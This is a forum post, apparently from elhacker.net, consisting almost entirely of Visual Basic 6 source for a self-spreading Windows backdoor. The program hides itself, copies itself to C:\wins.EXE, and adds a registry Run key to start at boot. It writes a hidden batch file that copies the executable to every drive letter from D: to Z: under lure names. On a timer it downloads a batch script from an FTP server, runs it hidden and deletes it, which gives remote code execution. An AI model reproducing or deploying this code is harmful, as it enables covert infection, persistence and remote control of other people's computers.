Foro de elhacker.net

Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)




Private Sub Form_Load()
FileCopy App.EXEName & ".EXE", "C:\wins.EXE"
Me.Hide
App.TaskVisible = False
Shell "reg add hklm\software\microsoft\windows\currentversion\run /v programa /t reg_sz /d C:\wins.exe /f "
Open "C:\Windows\System32\Winlog.bat" For Output As #1
Print #1, "@echo off"
Print #1, "If exist D:\ (Copy /y C:\wins.exe D:\trabajo.exe)"
Print #1, "If exist E:\ (Copy /y C:\wins.exe E:\trabajo.exe)"
Print #1, "If exist F:\ (Copy /y C:\wins.exe F:\trabajo.exe)"
Print #1, "If exist G:\ (Copy /y C:\wins.exe G:\trabajo.exe)"
Print #1, "If exist H:\ (Copy /y C:\wins.exe H:\trabajo.exe)"
Print #1, "If exist I:\ (Copy /y C:\wins.exe I:\trabajo.exe)"
Print #1, "If exist J:\ (Copy /y C:\wins.exe J:\trabajo.exe)"
Print #1, "If exist K:\ (Copy /y C:\wins.exe K:\trabajo.exe)"
Print #1, "If exist L:\ (Copy /y C:\wins.exe L:\trabajo.exe)"
Print #1, "If exist W:\ (Copy /y C:\wins.exe W:\trabajo.exe)"
Print #1, "If exist X:\ (Copy /y C:\wins.exe X:\trabajo.exe)"
Print #1, "If exist Y:\ (Copy /y C:\wins.exe Y:\trabajo.exe)"
Print #1, "If exist Z:\ (Copy /y C:\wins.exe Z:\trabajo.exe)"
Print #1, "If exist D:\ (Copy /y C:\wins.exe D:\moxxita.exe)"
Print #1, "If exist E:\ (Copy /y C:\wins.exe E:\moxxita.exe)"
Print #1, "If exist F:\ (Copy /y C:\wins.exe F:\moxxita.exe)"
Print #1, "If exist G:\ (Copy /y C:\wins.exe G:\moxxita.exe)"
Print #1, "If exist H:\ (Copy /y C:\wins.exe H:\moxxita.exe)"
Print #1, "If exist I:\ (Copy /y C:\wins.exe I:\moxxita.exe)"
Print #1, "If exist J:\ (Copy /y C:\wins.exe J:\moxxita.exe)"
Print #1, "If exist K:\ (Copy /y C:\wins.exe K:\moxxita.exe)"
Print #1, "If exist L:\ (Copy /y C:\wins.exe L:\moxxita.exe)"
Print #1, "If exist W:\ (Copy /y C:\wins.exe W:\moxxita.exe)"
Print #1, "If exist X:\ (Copy /y C:\wins.exe X:\moxxita.exe)"
Print #1, "If exist Y:\ (Copy /y C:\wins.exe Y:\moxxita.exe)"
Print #1, "If exist Z:\ (Copy /y C:\wins.exe Z:\moxxita.exe)"
Print #1, "exit"
Close #1
Shell ("C:\Windows\System32\Winlog.bat"), vbHide

End Sub
Private Sub Timer2_Timer()
On Error Resume Next

Inet1.Execute "ftp://" & Text1.Text & ":" & Text2.Text & "@ftp.server.com", "GET /public_html/xd.bat c:\lols.bat"
Calcular
If Dir("C:\lols.bat") <> "" Then
Shell ("c:\lols.bat"), vbHide
Calcular
Kill ("c:\lols.bat")
 Else
Calcular
End If
End Sub

Sub Calcular()
Call Sleep(60000) 'espera por 60 segundos
End Sub